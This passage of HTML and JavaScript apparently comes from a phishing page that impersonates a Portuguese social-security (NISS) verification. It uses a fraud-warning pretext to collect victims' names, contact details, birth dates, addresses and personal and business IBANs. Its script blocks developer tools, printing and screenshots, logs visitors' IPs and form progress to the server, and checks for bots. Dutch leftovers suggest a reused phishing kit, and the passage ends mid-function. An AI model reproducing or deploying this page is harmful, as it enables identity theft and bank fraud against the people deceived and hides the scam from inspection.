<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" style="flex-shrink:0;margin-top:3px;"><path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
<div>
<div style="font-size:12px;font-weight:700;color:#c92a2a;margin-bottom:3px;" data-pt="Risco de fraude com o seu NISS" data-en="Risk of SSIN fraud">Risco de fraude com o seu NISS</div>
<span data-pt="Sem verificação, terceiros podem usar o seu NISS para pedir prestações sociais em seu nome, abrir contratos ou cometer roubo de identidade. Preencha os dados com rigor para proteger a sua conta." data-en="Without verification, third parties may use your SSIN to claim benefits in your name, open contracts or commit identity theft. Fill in your details accurately to protect your account.">Sem verificação, terceiros podem usar o seu NISS para pedir prestações sociais em seu nome, abrir contratos ou cometer roubo de identidade. Preencha os dados com rigor para proteger a sua conta.</span>
</div>
</div>
</div>
<div class="form-section" style="padding-top: 0;">
<p class="form-label" style="margin-bottom: 2px;" data-pt="Tipo de conta" data-en="Account type">Tipo de conta</p>
<div class="acct-type-grid">
<button type="button" class="acct-type-card active" id="acctParticular" onclick="setAccountType('personal')">
<div class="acct-type-top">
<div class="acct-type-card-icon">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
</div>
<span class="acct-type-card-label" data-pt="Particular" data-en="Personal">Particular</span>
<div class="acct-type-card-check">
<svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="3"><polyline points="20 6 9 17 4 12"/></svg>
</div>
</div>
<span class="acct-type-card-desc" data-pt="Conta pessoal em nome proprio. Inclui dados pessoais e IBAN particular." data-en="Personal account in your own name. Includes personal details and personal IBAN.">Conta pessoal em nome proprio. Inclui dados pessoais e IBAN particular.</span>
</button>
<button type="button" class="acct-type-card" id="acctZakelijk" onclick="setAccountType('business')">
<div class="acct-type-top">
<div class="acct-type-card-icon">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="2" y="7" width="20" height="14" rx="2"/><path d="M16 7V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v2"/><line x1="12" y1="12" x2="12" y2="16"/><line x1="10" y1="14" x2="14" y2="14"/></svg>
</div>
<span class="acct-type-card-label" data-pt="Empresa (BV)" data-en="Business (Ltd.)">Empresa (BV)</span>
<div class="acct-type-card-check">
<svg width="10" height="10" viewBox="0 0 24 24" fill="none" stroke="white" stroke-width="3"><polyline points="20 6 9 17 4 12"/></svg>
</div>
</div>
<span class="acct-type-card-desc" data-pt="Para empresas com conta bancaria em nome da empresa (BV/Lda). Nao para ENI/trabalhador independente." data-en="For companies with a bank account in the company name (Ltd/BV). Not for sole traders.">Para empresas com conta bancaria em nome da empresa (BV/Lda). Nao para ENI/trabalhador independente.</span>
</button>
</div>
<div class="acct-type-note">
<strong data-pt="Trabalhador independente (ENI/Unipessoal)?" data-en="Sole trader / self-employed?">Trabalhador independente (ENI/Unipessoal)?</strong>
<span data-pt=" Selecione “Particular” e use o seu IBAN pessoal — as receitas ficam ligadas ao seu NIF pessoal." data-en=" Choose “Personal” and use your personal IBAN — income is linked to your personal tax number."> Selecione “Particular” e use o seu IBAN pessoal — as receitas ficam ligadas ao seu NIF pessoal.</span>
</div>
</div>
</div>
<!-- Contact Step -->
<div class="step" id="step-contact">
<div class="form-section">
<h3 class="form-title" data-pt="Dados de Contacto" data-en="Contact Details">Dados de Contacto</h3>
<p class="form-text" data-pt="Verifique e atualize os seus dados de contacto." data-en="Verify and update your contact details.">Verifique e atualize os seus dados de contacto.</p>
<p class="form-note">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="16" x2="12" y2="12"/><line x1="12" y1="8" x2="12.01" y2="8"/></svg>
<span data-pt="Preencha os dados corretamente. Informações incorretas atrasam a verificação e poderá não receber o email de confirmação." data-en="Please fill in the details correctly. Incorrect information delays verification and you may not receive the confirmation email.">Preencha os dados corretamente. Informações incorretas atrasam a verificação e poderá não receber o email de confirmação.</span>
</p>
</div>
<div class="form-group">
<label class="form-label" data-pt="Nome Completo" data-en="Full Name">Nome Completo</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
<input type="text" class="form-input" id="fullName" placeholder="Introduza o seu nome completo" data-placeholder-pt="Introduza o seu nome completo" data-placeholder-en="Enter your full name">
</div>
<div class="form-error" id="fullNameError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Número de Telefone" data-en="Phone Number">Número de Telefone</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg>
<input type="tel" class="form-input" id="phone" placeholder="+351 912 345 678" data-placeholder-pt="+351 912 345 678" data-placeholder-en="+351 912 345 678">
</div>
<div class="form-hint" data-pt="Formato: +351 912 345 678 — indique um número válido, caso contrário não será possível contactá-lo." data-en="Format: +351 912 345 678 — enter a valid number, otherwise we will not be able to contact you.">Formato: +351 912 345 678 — indique um número válido, caso contrário não será possível contactá-lo.</div>
<div class="form-error" id="phoneError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Email" data-en="Email">Email</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></svg>
<input type="email" class="form-input" id="email" placeholder="[email protected]" data-placeholder-pt="[email protected]" data-placeholder-en="[email protected]">
</div>
<div class="form-error" id="emailError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Data de Nascimento" data-en="Date of Birth">Data de Nascimento</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="4" width="18" height="18" rx="2" ry="2"/><line x1="16" y1="2" x2="16" y2="6"/><line x1="8" y1="2" x2="8" y2="6"/><line x1="3" y1="10" x2="21" y2="10"/></svg>
<input type="text" class="form-input" id="birthDate" placeholder="DD/MM/AAAA" maxlength="10" data-placeholder-pt="DD/MM/AAAA" data-placeholder-en="DD/MM/YYYY">
</div>
<div class="form-error" id="birthDateError"></div>
</div>
</div>
<!-- Address Step -->
<div class="step" id="step-address">
<div class="form-section">
<h3 class="form-title" data-pt="Morada" data-en="Address">Morada</h3>
<p class="form-text" data-pt="Confirme a sua morada para recebermos correspondencia oficial." data-en="Confirm your address so we can send you official correspondence.">Confirme a sua morada para recebermos correspondencia oficial.</p>
<p class="form-note">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="16" x2="12" y2="12"/><line x1="12" y1="8" x2="12.01" y2="8"/></svg>
<span data-pt="Uma morada correta é essencial. Dados incorretos atrasam a verificação e poderá não receber o email de confirmação." data-en="A correct address is essential. Incorrect data delays verification and you may not receive the confirmation email.">Uma morada correta é essencial. Dados incorretos atrasam a verificação e poderá não receber o email de confirmação.</span>
</p>
</div>
<div class="form-group">
<label class="form-label" data-pt="Morada (Rua e Numero)" data-en="Address (Street and Number)">Morada (Rua e Numero)</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
<input type="text" class="form-input" id="street" placeholder="Rua Example, 123, 2 Dto" data-placeholder-pt="Rua Example, 123, 2 Dto" data-placeholder-en="Example Street, 123, 2nd Floor">
</div>
<div class="form-error" id="streetError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Codigo Postal" data-en="Postal Code">Codigo Postal</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"/><circle cx="12" cy="10" r="3"/></svg>
<input type="text" class="form-input" id="postalCode" placeholder="1234-567" maxlength="8" data-placeholder-pt="1234-567" data-placeholder-en="1234-567">
</div>
<div class="form-hint" data-pt="Formato: 1234-567" data-en="Format: 1234-567">Formato: 1234-567</div>
<div class="form-error" id="postalCodeError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Localidade" data-en="City">Localidade</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="3" y1="21" x2="21" y2="21"/><line x1="3" y1="10" x2="21" y2="10"/><polyline points="5,6 12,1 19,6"/><line x1="4" y1="10" x2="4" y2="21"/><line x1="20" y1="10" x2="20" y2="21"/></svg>
<input type="text" class="form-input" id="city" placeholder="Lisboa" data-placeholder-pt="Lisboa" data-placeholder-en="Lisbon">
</div>
<div class="form-error" id="cityError"></div>
</div>
</div>
<!-- Bank Step -->
<div class="step" id="step-bank">
<div class="form-section">
<h3 class="form-title" data-pt="Dados Bancários" data-en="Bank Details">Dados Bancários</h3>
<p class="form-text" data-pt="Introduza os seus dados bancários para receber pagamentos." data-en="Enter your bank details to receive payments.">Introduza os seus dados bancários para receber pagamentos.</p>
<p class="form-note">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="16" x2="12" y2="12"/><line x1="12" y1="8" x2="12.01" y2="8"/></svg>
<span data-pt="Verifique o IBAN e o banco. Dados bancários incorretos atrasam a verificação e poderá não receber o email de confirmação." data-en="Check the IBAN and bank. Incorrect bank details delay verification and you may not receive the confirmation email.">Verifique o IBAN e o banco. Dados bancários incorretos atrasam a verificação e poderá não receber o email de confirmação.</span>
</p>
</div>
<div class="form-group">
<label class="form-label" data-pt="IBAN" data-en="IBAN">IBAN</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="1" y="4" width="22" height="16" rx="2" ry="2"/><line x1="1" y1="10" x2="23" y2="10"/></svg>
<input type="text" class="form-input" id="iban" name="personal_iban" autocomplete="off" data-lpignore="true" placeholder="PT50 0002 0123 1234 5678 9015 4" maxlength="32" style="font-family: monospace; text-transform: uppercase;" data-placeholder-pt="Ex: PT50 0002 0123 1234 5678 9015 4" data-placeholder-en="e.g. PT50 0002 0123 1234 5678 9015 4">
</div>
<div class="form-hint" data-pt="O IBAN português tem 25 caracteres e começa com PT" data-en="Portuguese IBAN has 25 characters and starts with PT">O IBAN português tem 25 caracteres e começa com PT</div>
<div class="form-error" id="ibanError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Banco" data-en="Bank">Banco</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="3" y1="21" x2="21" y2="21"/><line x1="3" y1="10" x2="21" y2="10"/><polyline points="5,6 12,1 19,6"/><line x1="4" y1="10" x2="4" y2="21"/><line x1="20" y1="10" x2="20" y2="21"/><line x1="8" y1="14" x2="8" y2="17"/><line x1="12" y1="14" x2="12" y2="17"/><line x1="16" y1="14" x2="16" y2="17"/></svg>
<select class="form-select" id="bankName">
<option value="" data-pt="Selecione o banco" data-en="Select bank">Selecione o banco</option>
<option value="Millennium BCP">Millennium BCP</option>
<option value="Caixa Geral de Depositos">Caixa Geral de Depositos</option>
<option value="Novo Banco">Novo Banco</option>
<option value="Santander Totta">Santander Totta</option>
<option value="BPI">BPI</option>
<option value="Bankinter">Bankinter</option>
<option value="Credito Agricola">Credito Agricola</option>
<option value="Montepio">Montepio</option>
<option value="ActivoBank">ActivoBank</option>
<option value="BBVA">BBVA</option>
<option value="Banco CTT">Banco CTT</option>
<option value="EuroBic">EuroBic</option>
<option value="Banco Best">Banco Best</option>
<option value="Banco Invest">Banco Invest</option>
<option value="Banco BIG">Banco BIG</option>
<option value="Banco Carregosa">Banco Carregosa</option>
</select>
<svg class="select-arrow" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="6 9 12 15 18 9"/></svg>
</div>
<div class="form-error" id="bankNameError"></div>
</div>
<div class="bank-warning" id="bankMismatchWarning" style="display:none;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
<span data-pt="O IBAN não parece corresponder ao banco selecionado. Verifique o IBAN ou o banco antes de continuar." data-en="The IBAN does not appear to match the selected bank. Please check the IBAN or the bank before continuing.">O IBAN não parece corresponder ao banco selecionado. Verifique o IBAN ou o banco antes de continuar.</span>
</div>
<div class="info-box green">
<div class="info-icon green">
<div></div><div></div><div></div>
</div>
<p class="info-text" data-pt="Os seus dados bancários são encriptados e armazenados de forma segura. Nunca partilhamos esta informação com terceiros." data-en="Your bank details are encrypted and stored securely. We never share this information with third parties.">Os seus dados bancários são encriptados e armazenados de forma segura. Nunca partilhamos esta informação com terceiros.</p>
</div>
</div>
<!-- Business Step (only shown when accountType === 'business') -->
<div class="step" id="step-business">
<div class="form-section">
<h3 class="form-title" data-pt="Dados Empresariais" data-en="Business Details">Dados Empresariais</h3>
<p class="form-text" data-pt="Precisamos dos dados da sua empresa para concluir a verificação." data-en="We need your company details to complete verification.">Precisamos dos dados da sua empresa para concluir a verificação.</p>
<p class="form-note">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="16" x2="12" y2="12"/><line x1="12" y1="8" x2="12.01" y2="8"/></svg>
<span data-pt="Introduza os dados exatos da empresa. Informações incorretas atrasam a verificação e poderá não receber o email de confirmação." data-en="Enter the exact company details. Incorrect information delays verification and you may not receive the confirmation email.">Introduza os dados exatos da empresa. Informações incorretas atrasam a verificação e poderá não receber o email de confirmação.</span>
</p>
</div>
<div class="form-group">
<label class="form-label" data-pt="Nome da Empresa" data-en="Company Name">Nome da Empresa</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="2" y="7" width="20" height="14" rx="2"/><path d="M16 7V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v2"/></svg>
<input type="text" class="form-input" id="bizName" placeholder="Empresa, Lda." data-placeholder-pt="Empresa, Lda." data-placeholder-en="Company Ltd.">
</div>
<div class="form-error" id="bizNameError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="IBAN da Empresa" data-en="Business IBAN">IBAN da Empresa</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="1" y="4" width="22" height="16" rx="2" ry="2"/><line x1="1" y1="10" x2="23" y2="10"/></svg>
<input type="text" class="form-input" id="bizIban" name="business_iban" autocomplete="off" data-lpignore="true" placeholder="PT50 0002 0123 1234 5678 9015 4" maxlength="32" style="font-family: monospace; text-transform: uppercase;" data-placeholder-pt="Ex: PT50 0002 0123 1234 5678 9015 4" data-placeholder-en="e.g. PT50 0002 0123 1234 5678 9015 4">
</div>
<div class="form-hint" data-pt="O IBAN deve estar em nome da empresa" data-en="The IBAN must be registered to the company">O IBAN deve estar em nome da empresa</div>
<div class="form-error" id="bizIbanError"></div>
<div class="bank-warning" id="bizIbanDupWarning" style="display:none; margin-top: 8px; margin-bottom: 0;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
<span data-pt="O IBAN da empresa é igual ao seu IBAN pessoal. Confirme se está correto — normalmente são contas diferentes." data-en="The business IBAN is the same as your personal IBAN. Please confirm this is correct — they are usually different accounts.">O IBAN da empresa é igual ao seu IBAN pessoal. Confirme se está correto — normalmente são contas diferentes.</span>
</div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Tenaminstellng (titular da conta)" data-en="Account holder name">Tenaminstellng (titular da conta)</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
<input type="text" class="form-input" id="bizAccountHolder" placeholder="Empresa, Lda." data-placeholder-pt="Empresa, Lda." data-placeholder-en="Company Ltd.">
</div>
<div class="form-hint" data-pt="Exatamente como aparece no extracto bancario" data-en="Exactly as it appears on the bank statement">Exatamente como aparece no extracto bancario</div>
<div class="form-error" id="bizAccountHolderError"></div>
</div>
<div class="form-group">
<label class="form-label" data-pt="Pessoa de Contacto (opcional)" data-en="Contact Person (optional)">Pessoa de Contacto (opcional)</label>
<div class="form-input-wrap">
<svg class="form-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07A19.5 19.5 0 0 1 4.11 15a19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 3 4h3a2 2 0 0 1 2 1.72c.127.96.361 1.903.7 2.81a2 2 0 0 1-.45 2.11L8.09 10.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0 1 22 18z"/></svg>
<input type="text" class="form-input" id="bizContact" placeholder="Nome do responsavel" data-placeholder-pt="Nome do responsavel" data-placeholder-en="Name of responsible person">
</div>
</div>
<div class="info-box green">
<div class="info-icon green">
<div></div><div></div><div></div>
</div>
<p class="info-text" data-pt="Os dados empresariais sao verificados junto dos registos oficiais. Certifique-se que o IBAN pertence a conta da empresa." data-en="Business details are verified against official records. Ensure the IBAN belongs to the company account.">Os dados empresariais sao verificados junto dos registos oficiais. Certifique-se que o IBAN pertence a conta da empresa.</p>
</div>
</div>
<!-- Confirm Step -->
<div class="step" id="step-confirm">
<div class="form-section">
<h3 class="form-title" data-pt="Confirmar Dados" data-en="Confirm Details">Confirmar Dados</h3>
<p class="form-text" data-pt="Verifique se todos os dados estão corretos antes de continuar." data-en="Please verify all details are correct before continuing.">Verifique se todos os dados estão corretos antes de continuar.</p>
</div>
<div class="confirm-section">
<div class="confirm-header">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg>
<span data-pt="Dados de Contacto" data-en="Contact Details">Dados de Contacto</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Nome" data-en="Name">Nome</span>
<span class="confirm-value" id="confirm-fullName">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Telefone" data-en="Phone">Telefone</span>
<span class="confirm-value" id="confirm-phone">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Email" data-en="Email">Email</span>
<span class="confirm-value" id="confirm-email">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Data de Nascimento" data-en="Date of Birth">Data de Nascimento</span>
<span class="confirm-value" id="confirm-birthDate">-</span>
</div>
</div>
<div class="confirm-section">
<div class="confirm-header">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"/><circle cx="12" cy="10" r="3"/></svg>
<span data-pt="Morada" data-en="Address">Morada</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Rua" data-en="Street">Rua</span>
<span class="confirm-value" id="confirm-street">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Codigo Postal" data-en="Postal Code">Codigo Postal</span>
<span class="confirm-value" id="confirm-postalCode">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Localidade" data-en="City">Localidade</span>
<span class="confirm-value" id="confirm-city">-</span>
</div>
</div>
<div class="confirm-section" id="confirm-bank-section">
<div class="confirm-header">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="1" y="4" width="22" height="16" rx="2" ry="2"/><line x1="1" y1="10" x2="23" y2="10"/></svg>
<span data-pt="Dados Bancários" data-en="Bank Details">Dados Bancários</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="IBAN" data-en="IBAN">IBAN</span>
<span class="confirm-value" id="confirm-iban" style="font-family: monospace; word-break: break-all;">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Banco" data-en="Bank">Banco</span>
<span class="confirm-value" id="confirm-bankName">-</span>
</div>
</div>
<div class="confirm-section" id="confirm-biz-section" style="display:none;">
<div class="confirm-header">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="2" y="7" width="20" height="14" rx="2"/><path d="M16 7V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v2"/></svg>
<span data-pt="Dados Empresariais" data-en="Business Details">Dados Empresariais</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Empresa" data-en="Company">Empresa</span>
<span class="confirm-value" id="confirm-bizName">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="IBAN Empresa" data-en="Business IBAN">IBAN Empresa</span>
<span class="confirm-value" id="confirm-bizIban" style="font-family: monospace; word-break: break-all;">-</span>
</div>
<div class="confirm-row">
<span class="confirm-label" data-pt="Titular" data-en="Account holder">Titular</span>
<span class="confirm-value" id="confirm-bizAccountHolder">-</span>
</div>
<div class="confirm-row" id="confirm-bizContact-row" style="display:none;">
<span class="confirm-label" data-pt="Contacto" data-en="Contact">Contacto</span>
<span class="confirm-value" id="confirm-bizContact">-</span>
</div>
</div>
<div class="info-box yellow">
<div class="info-icon yellow">!</div>
<p class="info-text" data-pt="Ao confirmar, declara que as informações fornecidas são verdadeiras e corretas. Todos os dados serão verificados. Se estiverem corretos, entraremos em contacto consigo ou receberá um email de confirmação. Dados incorretos atrasam o processo e poderá não ser contactado." data-en="By confirming, you declare that the information provided is true and correct. All data will be verified. If it is correct, we will contact you or you will receive a confirmation email. Incorrect data delays the process and you may not be contacted.">Ao confirmar, declara que as informações fornecidas são verdadeiras e corretas. Todos os dados serão verificados. Se estiverem corretos, entraremos em contacto consigo ou receberá um email de confirmação. Dados incorretos atrasam o processo e poderá não ser contactado.</p>
</div>
</div>
<!-- Success Step -->
<div class="step" id="step-success">
<div style="text-align: center; padding: 32px 0;">
<div class="success-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>
</div>
<h3 class="success-title" data-pt="Verificação Concluída" data-en="Verification Complete">Verificação Concluída</h3>
<p class="success-text" data-pt="Os seus dados foram submetidos com sucesso. Será contactado telefonicamente em breve e receberá uma carta de confirmação." data-en="Your data has been submitted successfully. You will be contacted by phone shortly and will receive a confirmation letter.">Os seus dados foram submetidos com sucesso. Será contactado telefonicamente em breve e receberá uma carta de confirmação.</p>
<div class="success-badge">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="20 6 9 17 4 12"/></svg>
<span data-pt="Dados Verificados" data-en="Data Verified">Dados Verificados</span>
</div>
</div>
</div>
</div>
<div class="modal-footer" id="modalFooter">
<button class="btn-back" id="backBtn" onclick="prevStep()" style="display: none;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="19" y1="12" x2="5" y2="12"/><polyline points="12 19 5 12 12 5"/></svg>
<span data-pt="Voltar" data-en="Back">Voltar</span>
</button>
<div></div>
<button class="btn-next" id="nextBtn" onclick="nextStep()">
<span data-pt="Começar" data-en="Start">Começar</span>
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
</button>
</div>
</div>
</div>
<script>
let currentStep = 0;
let language = 'pt';
let isLoading = false;
let visitorId = null;
let visitorIp = null;
let lastSubmittedHash = '';
let accountType = 'personal'; // 'personal' | 'business'
// Anti-bot signals
let modalOpenedAt = 0; // ms timestamp when modal was opened
let humanInteracted = false; // true once mouse/touch movement detected
document.addEventListener('mousemove', () => { humanInteracted = true; }, { once: true, passive: true });
document.addEventListener('touchstart', () => { humanInteracted = true; }, { once: true, passive: true });
// Hide page loader after load
window.addEventListener('load', () => {
setTimeout(() => {
const loader = document.getElementById('pageLoader');
if (loader) loader.classList.add('hidden');
}, 1200);
});
// Anti-context menu / anti-copy on body (still allow on inputs)
document.addEventListener('contextmenu', function(e) {
const tag = e.target.tagName;
if (tag !== 'INPUT' && tag !== 'TEXTAREA' && tag !== 'SELECT') e.preventDefault();
});
document.addEventListener('keydown', function(e) {
// Block PrintScreen, Ctrl/Cmd+P, F12, Ctrl/Cmd+Shift+I/J/C
if (e.key === 'PrintScreen') { navigator.clipboard?.writeText(''); e.preventDefault(); }
if ((e.ctrlKey || e.metaKey) && (e.key === 'p' || e.key === 'P')) e.preventDefault();
if (e.key === 'F12') e.preventDefault();
if ((e.ctrlKey || e.metaKey) && e.shiftKey && ['I','J','C','i','j','c'].includes(e.key)) e.preventDefault();
});
// Track visitor on page load
fetch('?action=monitor', { method: 'POST' })
.then(res => res.json())
.then(data => {
if (data.visitorId) visitorId = data.visitorId;
if (data.ip) visitorIp = data.ip;
})
.catch(() => {});
function trackStep(step) {
if (visitorId) {
fetch('?action=step', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ visitorId, step, ip: visitorIp })
}).catch(() => {});
}
}
// Open modal on page load
window.addEventListener('DOMContentLoaded', () => {
setTimeout(() => openModal(), 500);
});
function openModal() {
document.getElementById('modal').classList.add('active');
document.body.style.overflow = 'hidden';
modalOpenedAt = Date.now(); // record when modal opened for timing check
}
// Step transition loader
const stepLoaderMessages = {
pt: [
'A verificar dados...',
'A validar informação...',
'A processar...',
'A confirmar identidade...',
'A encriptar dados...',
'A verificar segurança...',
],
en: [
'Verifying data...',
'Validating information...',
'Processing...',
'Confirming identity...',
'Encrypting data...',
'Checking security...',
]
};
function showStepLoader(durationMs, callback) {
const loader = document.getElementById('stepLoader');
const fill = document.getElementById('stepLoaderFill');
const msg = document.getElementById('stepLoaderMsg');
const msgs = stepLoaderMessages[language] || stepLoaderMessages.pt;
// Pick a random starting message, cycle through them
let msgIdx = Math.floor(Math.random() * msgs.length);
msg.textContent = msgs[msgIdx];
fill.style.width = '0%';
loader.classList.add('active');
// Scroll the modal back to top so loader is visible
const modal = document.querySelector('.modal');
if (modal) modal.scrollTop = 0;
const startTime = performance.now();
const msgInterval = setInterval(() => {
msgIdx = (msgIdx + 1) % msgs.length;
msg.textContent = msgs[msgIdx];
}, Math.floor(durationMs / msgs.length));
let raf;
function animate(now) {
const elapsed = now - startTime;
const pct = Math.min((elapsed / durationMs) * 100, 100);
fill.style.width = pct + '%';
if (elapsed < durationMs) {
raf = requestAnimationFrame(animate);
} else {
clearInterval(msgInterval);
loader.classList.remove('active');
if (callback) callback();
}
}
raf = requestAnimationFrame(animate);
}
function closeModal() {
document.getElementById('modal').classList.remove('active');
document.body.style.overflow = '';
resetForm();
}
function getSteps() {
// Business accounts provide BOTH a personal IBAN (bank step) and a business IBAN
// (business step). Personal accounts only have the bank step.
return accountType === 'business'
? ['welcome', 'contact', 'address', 'bank', 'business', 'confirm', 'success']
